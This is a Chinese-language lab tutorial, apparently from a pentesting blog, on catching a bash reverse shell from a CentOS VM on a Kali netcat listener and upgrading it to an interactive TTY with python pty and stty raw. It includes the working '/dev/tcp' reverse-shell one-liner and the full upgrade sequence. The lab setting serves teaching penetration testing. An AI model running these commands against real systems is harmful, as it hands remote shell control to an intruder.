反弹shell升级成交互式shell
实验环境:
A : kali 虚拟机
B: centos7.5 虚拟机
1. A 机 kali 虚拟机 设置监听 端口
root@kali64:~# nc -lvvp 9001
# 端口随便定义,没被使用就行
2. B机 执行命令反弹shell
[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址为 kali 虚拟机的ip地址,端口为kali虚拟机监听的端口 主机ip和端口之间为`/`
补充:
标准输入 (stdin) :代码为
0
标准输出 (stdout):代码为
1
标准错误 (stderr):代码为
2
>
为重定向符号 ,&
没有固定的意思
&>
,>&
理解成一个整体
&>file
# 将 标准输出 和 标准错误输出 都重定向到文件file中
>&
# 将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程
2>&1
# 将标准错误重定向到标准输出中
0>&1
# 将标准输入重定向到标准输出中
- 反弹后再kali机上面查看,可以输入命令,不支持tab键,清屏等功能,需要升级成交互式shell
3.升级交互式shell
# 以下命令都是在kali 机上面操作
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python
[root@localhost ~]# ^Z # ctrl + z 按键 挂起正在运行的程序
root@kali64:~# stty raw -echo # 输入这句后 在输入命令终端不在显示
root@kali64:~# fg # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车
[root@localhost ~]# reset
[root@localhost ~]# export SHELL=bash
退回到kali机
# 以下命令都在kali机上面操作
[root@localhost ~]# exit # 退出终端
[root@localhost ~]# exit # 看前面主机名和用户来区分,继续退出,
root@kali64:~#
# 看到主机名变为kali说明回到kali机上面了------ 此时输入命令是不显示的
root@kali64:~# reset # 将终端恢复至原始状态
补充:
stty -echo
# 禁止回显,当在键盘上输入时,并不出现在屏幕上
stty echo
# 打开回显
stty raw
# 设置原始输入
stty -raw
# 关闭原始输入
bg
# 将一个在后台暂停的命令,变成继续执行
fg
# 将后台中的命令调至前台继续运行
jobs
# 查看当前有多少在后台运行的命令
ctrl + z
# 可以将一个正在前台执行的命令放到后台,并且暂停
clear
# 清屏,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
reset
# 将终端恢复至原始状态,之前的终端输入操作信息将都会被清空